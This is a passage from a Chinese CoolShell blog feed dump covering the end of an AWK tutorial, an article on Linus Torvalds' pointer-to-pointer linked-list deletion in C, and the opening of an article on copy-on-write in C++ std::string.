netstat.txt</code></p>\n<p>再复杂一点：（注意其中的if-else-if语句，可见awk其实是个脚本解释器）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1,2,3\">$ awk &#039;NR!=1{if($6 ~ /TIME|ESTABLISHED/) print &gt; &quot;1.txt&quot;;\nelse if($6 ~ /LISTEN/) print &gt; &quot;2.txt&quot;;\nelse print &gt; &quot;3.txt&quot; }&#039; netstat.txt\n\n$ ls ?.txt\n1.txt  2.txt  3.txt\n\n$ cat 1.txt\ntcp        0      0 coolshell.cn:80        124.205.5.146:18245         TIME_WAIT\ntcp        0      0 coolshell.cn:80        110.194.134.189:1032        ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49809       ESTABLISHED\ntcp        0      0 coolshell.cn:80        123.169.124.111:49829       ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.215.36:36970         TIME_WAIT\ntcp        0   4166 coolshell.cn:80        61.148.242.38:30901         ESTABLISHED\ntcp        0      0 coolshell.cn:80        110.194.134.189:4796        ESTABLISHED\ntcp        0      0 coolshell.cn:80        183.60.212.163:51082        TIME_WAIT\ntcp        0      0 coolshell.cn:80        123.169.124.111:49840       ESTABLISHED\n\n$ cat 2.txt\ntcp        0      0 0.0.0.0:3306           0.0.0.0:*                   LISTEN\ntcp        0      0 0.0.0.0:80             0.0.0.0:*                   LISTEN\ntcp        0      0 127.0.0.1:9000         0.0.0.0:*                   LISTEN\ntcp        0      0 :::22                  :::*                        LISTEN\n\n$ cat 3.txt\ntcp        0      0 coolshell.cn:80        61.140.101.185:37538        FIN_WAIT2\ntcp        0      0 coolshell.cn:80        116.234.127.77:11502        FIN_WAIT2\ntcp        0      1 coolshell.cn:80        124.152.181.209:26825       FIN_WAIT1\ntcp        0      1 coolshell.cn:80        208.115.113.92:50601        LAST_ACK\ntcp        0      0 coolshell.cn:80        117.136.20.85:50025         FIN_WAIT2</pre>\n<h5>统计</h5>\n<p>下面的命令计算所有的C文件，CPP文件和H文件的文件大小总和。</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ ls -l  *.cpp *.c *.h | awk &#039;{sum+=$5} END {print sum}&#039;\n2511401</pre>\n<p>我们再来看一个统计各个connection状态的用法：（我们可以看到一些编程的影子了，大家都是程序员我就不解释了。注意其中的数组的用法）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ awk &#039;NR!=1{a[$6]++;} END {for (i in a) print i &quot;, &quot; a[i];}&#039; netstat.txt\nTIME_WAIT, 3\nFIN_WAIT1, 1\nESTABLISHED, 6\nFIN_WAIT2, 3\nLAST_ACK, 1\nLISTEN, 4</pre>\n<p>再来看看统计每个用户的进程的占了多少内存（注：sum的RSS那一列）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"1\">$ ps aux | awk &#039;NR!=1{a[$1]+=$6;} END { for(i in a) print i &quot;, &quot; a[i]&quot;KB&quot;;}&#039;\ndbus, 540KB\nmysql, 99928KB\nwww, 3264924KB\nroot, 63644KB\nhchen, 6020KB</pre>\n<h4>脱掉内衣</h4>\n<h5>awk脚本</h5>\n<p>在上面我们可以看到一个END关键字。END的意思是“处理完所有的行的标识”，即然说到了END就有必要介绍一下BEGIN，这两个关键字意味着执行前和执行后的意思，语法如下：</p>\n<ul>\n<li>BEGIN{ 这里面放的是执行前的语句 }</li>\n<li>END {这里面放的是处理完所有的行后要执行的语句 }</li>\n<li>{这里面放的是处理每一行时要执行的语句}</li>\n</ul>\n<p>为了说清楚这个事，我们来看看下面的示例：</p>\n<p>假设有这么一个文件（学生成绩表）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat score.txt\nMarry   2143 78 84 77\nJack    2321 66 78 45\nTom     2122 48 77 71\nMike    2537 87 97 95\nBob     2415 40 57 62</pre>\n<p>我们的awk脚本如下（我没有写有命令行上是因为命令行上不易读，另外也在介绍另一种用法）：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ cat cal.awk\n#!/bin/awk -f\n#运行前\nBEGIN {\n    math = 0\n    english = 0\n    computer = 0\n\n    printf &quot;NAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\\n&quot;\n    printf &quot;---------------------------------------------\\n&quot;\n}\n#运行中\n{\n    math+=$3\n    english+=$4\n    computer+=$5\n    printf &quot;%-6s %-6s %4d %8d %8d %8d\\n&quot;, $1, $2, $3,$4,$5, $3+$4+$5\n}\n#运行后\nEND {\n    printf &quot;---------------------------------------------\\n&quot;\n    printf &quot;  TOTAL:%10d %8d %8d \\n&quot;, math, english, computer\n    printf &quot;AVERAGE:%10.2f %8.2f %8.2f\\n&quot;, math/NR, english/NR, computer/NR\n}</pre>\n<p>我们来看一下执行结果：（也可以这样运行 ./cal.awk score.txt）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">$ awk -f cal.awk score.txt\nNAME    NO.   MATH  ENGLISH  COMPUTER   TOTAL\n---------------------------------------------\nMarry  2143     78       84       77      239\nJack   2321     66       78       45      189\nTom    2122     48       77       71      196\nMike   2537     87       97       95      279\nBob    2415     40       57       62      159\n---------------------------------------------\n  TOTAL:       319      393      350\nAVERAGE:     63.80    78.60    70.00</pre>\n<h5>环境变量</h5>\n<p>即然说到了脚本，我们来看看怎么和环境变量交互：（使用-v参数和ENVIRON，使用ENVIRON的环境变量需要export）</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"9\">$ x=5\n\n$ y=10\n$ export y\n\n$ echo $x $y\n5 10\n\n$ awk -v val=$x &#039;{print $1, $2, $3, $4+val, $5+ENVIRON[&quot;y&quot;]}&#039; OFS=&quot;\\t&quot; score.txt\nMarry   2143    78      89      87\nJack    2321    66      83      55\nTom     2122    48      82      81\nMike    2537    87      102     105\nBob     2415    40      62      72\n</pre>\n<h4>几个花活</h4>\n<p>最后，我们再来看几个小例子：</p>\n<pre data-enlighter-language=\"shell\" class=\"EnlighterJSRAW\">#从file文件中找出长度大于80的行\nawk &#039;length&gt;80&#039; file\n\n#按连接数查看客户端IP\nnetstat -ntu | awk &#039;{print $5}&#039; | cut -d: -f1 | sort | uniq -c | sort -nr\n\n#打印99乘法表\nseq 9 | sed &#039;H;g&#039; | awk -v RS=&#039;&#039; &#039;{for(i=1;i&lt;=NF;i++)printf(&quot;%dx%d=%d%s&quot;, i, NR, i*NR, i==NR?&quot;\\n&quot;:&quot;\\t&quot;)}&#039; </pre>\n<h4>自己撸吧</h4>\n<p>关于其中的一些知识点可以参看<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html\" target=\"_blank\">gawk的手册</a>：</p>\n<ul>\n<li>内建变量，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din-Variables\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din-Variables</a></li>\n<li>流控方面，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Statements\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Statements</a></li>\n<li>内建函数，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Built_002din</a></li>\n<li>正则表达式，参看：<a href=\"http://www.gnu.org/software/gawk/manual/gawk.html#Regexp\" target=\"_blank\">http://www.gnu.org/software/gawk/manual/gawk.html#Regexp</a></li>\n</ul>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/01/linux-bash-300x225-150x150.jpg\" alt=\"应该知道的Linux技巧\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8883.html\" class=\"wp_rp_title\">应该知道的Linux技巧</a></li><li ><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/11/shell.01-150x150.png\" alt=\"你可能不知道的Shell\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8619.html\" class=\"wp_rp_title\">你可能不知道的Shell</a></li><li ><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2019/03/linux.ninja_-150x150.png\" alt=\"打造高效的工作环境 &#8211; Shell 篇\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/19219.html\" class=\"wp_rp_title\">打造高效的工作环境 &#8211; Shell 篇</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/systemd-1-150x150.jpeg\" alt=\"Linux PID 1 和 Systemd\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/17998.html\" class=\"wp_rp_title\">Linux PID 1 和 Systemd</a></li><li ><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/tux-fork-150x150.gif\" alt=\"vfork 挂掉的一个问题\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12103.html\" class=\"wp_rp_title\">vfork 挂掉的一个问题</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/9070.html\">AWK 简明教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/9070.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>260</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Linus：利用二级指针删除单向链表</title>\n\t\t<link>https://coolshell.cn/articles/8990.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/8990.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Leo]]></dc:creator>\n\t\t<pubDate>Mon, 04 Feb 2013 00:33:20 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[Unix/Linux]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Coding]]></category>\n\t\t<category><![CDATA[Kernel]]></category>\n\t\t<category><![CDATA[Linus Torvalds]]></category>\n\t\t<category><![CDATA[Linux]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=8990</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>感谢网友full_of_bull投递此文（注：此文最初发表在这个这里，我对原文后半段修改了许多，并加入了插图） Linus大婶在slashdot上回答一些编程爱...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/8990.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>感谢网友full_of_bull投递此文</strong>（注：此文最初发表在这个<a href=\"http://www.oldlinux.org/oldlinux/viewthread.php?tid=14575&amp;extra=page%3D1\" target=\"_blank\">这里</a>，我对原文后半段修改了许多，并加入了插图）</p>\n<p>Linus大婶在<a href=\"http://meta.slashdot.org/story/12/10/11/0030249/linus-torvalds-answers-your-questions\" target=\"_blank\">slashdot</a>上回答一些编程爱好者的提问，其中一个人问他什么样的代码是他所喜好的，大婶表述了自己一些观点之后，举了一个指针的例子，解释了什么才是<strong>core low-level coding</strong>。</p>\n<p>下面是Linus的教学原文及翻译——</p>\n<p style=\"padding-left: 30px;\">“At the opposite end of the spectrum, I actually wish more people understood the really core low-level kind of coding. Not big, complex stuff like the lockless name lookup, but simply good use of pointers-to-pointers etc. For example, I&#8217;ve seen too many people who delete a singly-linked list entry by keeping track of the &#8220;prev&#8221; entry, and then to delete the entry, doing something like。（在这段话的最后，我实际上希望更多的人了解什么是真正的核心底层代码。这并不像无锁文件名查询（注：可能是git源码里的设计）那样庞大、复杂，只是仅仅像诸如使用二级指针那样简单的技术。例如，我见过很多人在删除一个单项链表的时候，维护了一个&#8221;prev&#8221;表项指针，然后删除当前表项，就像这样）”</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">if (prev)\n    prev-&gt;next = entry-&gt;next;\nelse\n    list_head = entry-&gt;next;</pre>\n<p style=\"padding-left: 30px;\">and whenever I see code like that, I just go &#8220;This person doesn&#8217;t understand pointers&#8221;. And it&#8217;s sadly quite common.（当我看到这样的代码时，我就会想“这个人不了解指针”。令人难过的是这太常见了。）</p>\n<p><span id=\"more-8990\"></span></p>\n<p style=\"padding-left: 30px;\">People who understand pointers just use a &#8220;pointer to the entry pointer&#8221;, and initialize that with the address of the list_head. And then as they traverse the list, they can remove the entry without using any conditionals, by just doing a &#8220;*pp = entry-&gt;next&#8221;. （了解指针的人会使用链表头的地址来初始化一个“指向节点指针的指针”。当遍历链表的时候，可以不用任何条件判断（注：指prev是否为链表头）就能移除某个节点，只要写)</p>\n<p><code data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">*pp = entry-&gt;next</code></p>\n<p style=\"padding-left: 30px;\">So there&#8217;s lots of pride in doing the small details right. It may not be big and important code, but I do like seeing code where people really thought about the details, and clearly also were thinking about the compiler being able to generate efficient code (rather than hoping that the compiler is so smart that it can make efficient code *despite* the state of the original source code). （纠正细节是令人自豪的事。也许这段代码并非庞大和重要，<strong>但我喜欢看那些注重代码细节的人写的代码，也就是清楚地了解如何才能编译出有效代码</strong>（而不是寄望于聪明的编译器来产生有效代码，即使是那些原始的汇编代码））。</p>\n<p>Linus举了一个单向链表的例子，但给出的代码太短了，一般的人很难搞明白这两个代码后面的含义。正好，有个编程爱好者阅读了这段话，并给出了一个<a href=\"http://wordaligned.org/articles/two-star-programming\" target=\"_blank\">比较完整的代码</a>。他的话我就不翻译了，下面给出代码说明。</p>\n<p>如果我们需要写一个remove_if(link*, rm_cond_func*)的函数，也就是传入一个单向链表，和一个自定义的是否删除的函数，然后返回处理后的链接。</p>\n<p>这个代码不难，基本上所有的教科书都会提供下面的代码示例，而这种写法也是大公司的面试题<strong>标准</strong>模板：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">typedef struct node\n{\n    struct node * next;\n    ....\n} node;\n\ntypedef bool (* remove_fn)(node const * v);\n\n// Remove all nodes from the supplied list for which the\n// supplied remove function returns true.\n// Returns the new head of the list.\nnode * remove_if(node * head, remove_fn rm)\n{\n    for (node * prev = NULL, * curr = head; curr != NULL; )\n    {\n        node * const next = curr-&gt;next;\n        if (rm(curr))\n        {\n            if (prev)\n                prev-&gt;next = next;\n            else\n                head = next;\n            free(curr);\n        }\n        else\n            prev = curr;\n        curr = next;\n    }\n    return head;\n}</pre>\n<p>这里remove_fn由调用查提供的一个是否删除当前实体结点的函数指针，其会判断删除条件是否成立。这段代码维护了两个节点指针prev和curr，<strong>标准的教科书写法——删除当前结点时，需要一个previous的指针，并且还要这里还需要做一个边界条件的判断——curr是否为链表头</strong>。于是，要删除一个节点（不是表头），只要将前一个节点的next指向当前节点的next指向的对象，即下一个节点（即：prev-&gt;next = curr-&gt;next），然后释放当前节点。</p>\n<p>但在Linus看来，这是不懂指针的人的做法。那么，什么是core low-level coding呢？那就是<strong>有效地利用二级指针，将其作为管理和操作链表的首要选项。</strong>代码如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\" data-enlighter-highlight=\"5,8,12\">void remove_if(node ** head, remove_fn rm)\n{\n    for (node** curr = head; *curr; )\n    {\n        node * entry = *curr;\n        if (rm(entry))\n        {\n            *curr = entry-&gt;next;\n            free(entry);\n        }\n        else\n            curr = &amp;entry-&gt;next;\n    }\n}</pre>\n<p>同上一段代码有何改进呢？我们看到：<strong>不需要prev指针了，也不需要再去判断是否为链表头了，但是，<span style=\"color: #cc0000;\">curr变成了一个指向指针的指针</span></strong>。这正是这段程序的精妙之处。（注意，我所highlight的那三行代码）</p>\n<p>让我们来人肉跑一下这个代码，对于——</p>\n<ul>\n<li><strong>删除节点是表头</strong>的情况，输入参数中传入head的二级指针，在for循环里将其初始化curr，然后entry就是*head(*curr)，我们马上删除它，那么第8行就等效于*head = (*head)-&gt;next，就是删除表头的实现。</li>\n</ul>\n<ul>\n<li><strong>删除节点不是表头</strong>的情况，对于上面的代码，我们可以看到——</li>\n</ul>\n<p style=\"padding-left: 30px;\"><strong>1）<strong>（第12行）</strong>如果不删除当前结点 —— curr保存的是当前结点next指针的地址</strong>。</p>\n<p style=\"padding-left: 30px;\"><strong>2）（第5行） entry 保存了 *curr <strong>—— </strong>这意味着在下一次循环：entry就是prev-&gt;next指针所指向的内存。</strong></p>\n<p style=\"padding-left: 30px;\"><strong></strong><strong>3）（第8行）删除结点：*curr = entry-&gt;next; —— 于是：prev-&gt;next 指向了 entry -&gt; next;</strong></p>\n<p>是不是很巧妙？我们可以只用一个二级指针来操作链表，对所有节点都一样。</p>\n<p>如果你对上面的代码和描述理解上有困难的话，你可以看看下图的示意：</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-9018\" alt=\"\" src=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer.jpg\" width=\"479\" height=\"470\" srcset=\"https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer.jpg 479w, https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-300x294.jpg 300w, https://coolshell.cn/wp-content/uploads/2013/02/linus_pointer_to_pointer-275x270.jpg 275w\" sizes=\"(max-width: 479px) 100vw, 479px\" /></p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/06/Alan-Cox-150x150.jpg\" alt=\"Alan Cox：单向链表中prev指针的妙用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9859.html\" class=\"wp_rp_title\">Alan Cox：单向链表中prev指针的妙用</a></li><li ><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2018/05/300x262-150x150.jpg\" alt=\"程序员练级攻略（2018)  与我的专栏\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18360.html\" class=\"wp_rp_title\">程序员练级攻略（2018)  与我的专栏</a></li><li ><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" alt=\"API设计原则 &#8211; Qt官网的设计实践总结\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/18024.html\" class=\"wp_rp_title\">API设计原则 &#8211; Qt官网的设计实践总结</a></li><li ><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg\" alt=\"Alan Cox：大教堂、市集与市议会\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9917.html\" class=\"wp_rp_title\">Alan Cox：大教堂、市集与市议会</a></li><li ><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" alt=\"对技术的态度\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8088.html\" class=\"wp_rp_title\">对技术的态度</a></li><li ><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/07/muxnt-150x150.jpg\" alt=\"代码执行的效率\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7886.html\" class=\"wp_rp_title\">代码执行的效率</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/8990.html\">Linus：利用二级指针删除单向链表</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/8990.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>194</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss2html/2004-6-23 C++ STL string的Copy-On-Write技术.html",
    "content": "<html><body><p>Scott Meyers在《More Effective C++》中举了个例子，不知你是否还记得？在你还在上学的时候，你的父母要你不要看电视，而去复习功课，于是你把自己关在房间里，做出一副正在复习功课的样子，其实你在干着别的诸如给班上的某位女生写情书之类的事，而一旦你的父母出来在你房间要检查你是否在复习时，你才真正捡起课本看书。这就是“拖延战术”，直到你非要做的时候才去做。</p>\n<p>当然，这种事情在现实生活中时往往会出事，但其在编程世界中摇身一变，就成为了最有用的技术，正如C++中的可以随处声明变量的特点一样，Scott Meyers推荐我们，在真正需要一个存储空间时才去声明变量（分配内存），这样会得到程序在运行时最小的内存花销。执行到那才会去做分配内存这种比较耗时的工作，这会给我们的程序在运行时有比较好的性能。必竟，20%的程序运行了80%的时间。</p>\n<p>当然，拖延战术还并不只是这样一种类型，这种技术被我们广泛地应用着，特别是在操作系统当中，当一个程序运行结束时，操作系统并不会急着把其清除出内存，原因是有可能程序还会马上再运行一次（从磁盘把程序装入到内存是个很慢的过程），而只有当内存不够用了，才会把这些还驻留内存的程序清出。</p>\n<p>写时才拷贝（Copy-On-Write）技术，就是编程界“懒惰行为”——拖延战术的产物。举个例子，比如我们有个程序要写文件，不断地根据网络传来的数据写，如果每一次fwrite或是fprintf都要进行一个磁盘的I/O操作的话，都简直就是性能上巨大的损失，因此通常的做法是，每次写文件操作都写在特定大小的一块内存中（磁盘缓存），只有当我们关闭文件时，才写到磁盘上（这就是为什么如果文件不关闭，所写的东西会丢失的原因）。更有甚者是文件关闭时都不写磁盘，而一直等到关机或是内存不够时才写磁盘，Unix就是这样一个系统，如果非正常退出，那么数据就会丢失，文件就会损坏。</p>\n<p>呵呵，为了性能我们需要冒这样大的风险，还好我们的程序是不会忙得忘了还有一块数据需要写到磁盘上的，所以这种做法，还是很有必要的。</p>\n<p><span id=\"more-12199\"></span></p>\n<h4>STL类std::string的Copy-On-Write</h4>\n<p>在我们经常使用的STL标准模板库中的string类，也是一个具有写时才拷贝技术的类。C++曾在性能问题上被广泛地质疑和指责过，为了提高性能，STL中的许多类都采用了Copy-On-Write技术。这种偷懒的行为的确使使用STL的程序有着比较高要性能。</p>\n<p>这里，我想从C++类或是设计模式的角度为各位揭开Copy-On-Write技术在string中实现的面纱，以供各位在用C++进行类库设计时做一点参考。</p>\n<p>在讲述这项技术之前，我想简单地说明一下string类内存分配的概念。通过常，string类中必有一个私有成员，其是一个char*，用户记录从堆上分配内存的地址，其在构造时分配内存，在析构时释放内存。因为是从堆上分配内存，所以string类在维护这块内存上是格外小心的，string类在返回这块内存地址时，只返回const char*，也就是只读的，如果你要写，你只能通过string提供的方法进行数据的改写。</p>\n<h4>特性</h4>\n<p>由表及里，由感性到理性，我们先来看一看string类的Copy-On-Write的表面特征。让我们写下下面的一段程序：</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;stdio.h&gt;\n#include &lt;string&gt;\nusing namespace std;\n \nmain()\n{\n    string str1 = \"hello world\";\n    string str2 = str1;\n\n    printf (\"Sharing the memory:/n\");\n    printf (\"/tstr1's address: %x/n\", str1.c_str() );\n    printf (\"/tstr2's address: %x/n\", str2.c_str() );\n\n    str1[1]='q';\n    str2[1]='w';\n\n    printf (\"After Copy-On-Write:/n\");\n    printf (\"/tstr1's address: %x/n\", str1.c_str() );\n    printf (\"/tstr2's address: %x/n\", str2.c_str() );\n\n    return 0;\n}</pre>\n<p>这个程序的意图就是让第二个<span lang=\"EN\">string</span>通过第一个<span lang=\"EN\">string</span>构造，然后打印出其存放数据的内存地址，然后分别修改<span lang=\"EN\">str1</span>和<span lang=\"EN\">str2</span>的内容，再查一下其存放内存的地址。程序的输出是这样的（我在<span lang=\"EN\">VC6.0</span>和<span lang=\"EN\">g++ 2.95</span>都得到了同样的结果）：</p>\n<pre class=\"EnlighterJSRAW\">&gt; g++ -o stringTest stringTest.cpp\n&gt; ./stringTest\nSharing the memory:\n        str1's address: 343be9\n        str2's address: 343be9\nAfter Copy-On-Write:\n        str1's address: 3407a9\n        str2's address: 343be9</pre>\n<p>从结果中我们可以看到，在开始的两个语句后，<span lang=\"EN\">str1</span>和<span lang=\"EN\">str2</span>存放数据的地址是一样的，而在修改内容后，<span lang=\"EN\">str1</span>的地址发生了变化，而<span lang=\"EN\">str2</span>的地址还是原来的。从这个例子，我们可以看到<span lang=\"EN\">string</span>类的<span lang=\"EN\">Copy-On-Write</span>技术。</p>\n<h4> 深入</h4>\n<p>在深入这前，通过上述的演示，我们应该知道在string类中，要实现写时才拷贝，需要解决两个问题，一个是内存共享，一个是Copy-On-Wirte，这两个主题会让我们产生许多疑问，还是让我们带着这样几个问题来学习吧：</p>\n<p style=\"padding-left: 30px;\">1、  Copy-On-Write的原理是什么？</p>\n<p style=\"padding-left: 30px;\">2、  string类在什么情况下才共享内存的？</p>\n<p style=\"padding-left: 30px;\">3、  string类在什么情况下触发写时才拷贝（Copy-On-Write）?</p>\n<p style=\"padding-left: 30px;\">4、  Copy-On-Write时，发生了什么？</p>\n<p style=\"padding-left: 30px;\">5、  Copy-On-Write的具体实现是怎么样的？</p>\n<p>喔，你说只要看一看STL中stirng的源码你就可以找到答案了。当然，当然，我也是参考了string的父模板类basic_string的源码。但是，如果你感到看STL的源码就好像看机器码，并严重打击你对C++自信心，乃至产生了自己是否懂C++的疑问，如果你有这样的感觉，那么还是继续往下看我的这篇文章吧。</p>\n<p>OK，让我们一个问题一个问题地探讨吧，慢慢地所有的技术细节都会浮出水面的。</p>\n<p> </p>\n<h4>Copy-On-Write的原理是什么？</h4>\n<p>有一定经验的程序员一定知道，Copy-On-Write一定使用了“引用计数”，是的，必然有一个变量类似于RefCnt。当第一个类构造时，string的构造函数会根据传入的参数从堆上分配内存，当有其它类需要这块内存时，这个计数为自动累加，当有类析构时，这个计数会减一，直到最后一个类析构时，此时的RefCnt为1或是0，此时，程序才会真正的Free这块从堆上分配的内存。</p>\n<p>是的，<strong>引用计数就是string类中写时才拷贝的原理</strong>！</p>\n<p>不过，问题又来了，这个RefCnt该存在在哪里呢？如果存放在string类中，那么每个string的实例都有各自的一套，根本不能共有一个RefCnt，如果是声明成全局变量，或是静态成员，那就是所有的string类共享一个了，这也不行，我们需要的是一个“民主和集中”的一个解决方法。这是如何做到的呢？呵呵，人生就是一个糊涂后去探知，知道后和又糊涂的循环过程。别急别急，在后面我会给你一一道来的。</p>\n<p> </p>\n<h4>string类在什么情况下才共享内存的？</h4>\n<p> </p>\n<p>这个问题的答案应该是明显的，根据常理和逻辑，如果一个类要用另一个类的数据，那就可以共享被使用类的内存了。这是很合理的，如果你不用我的，那就不用共享，只有你使用我的，才发生共享。</p>\n<p> 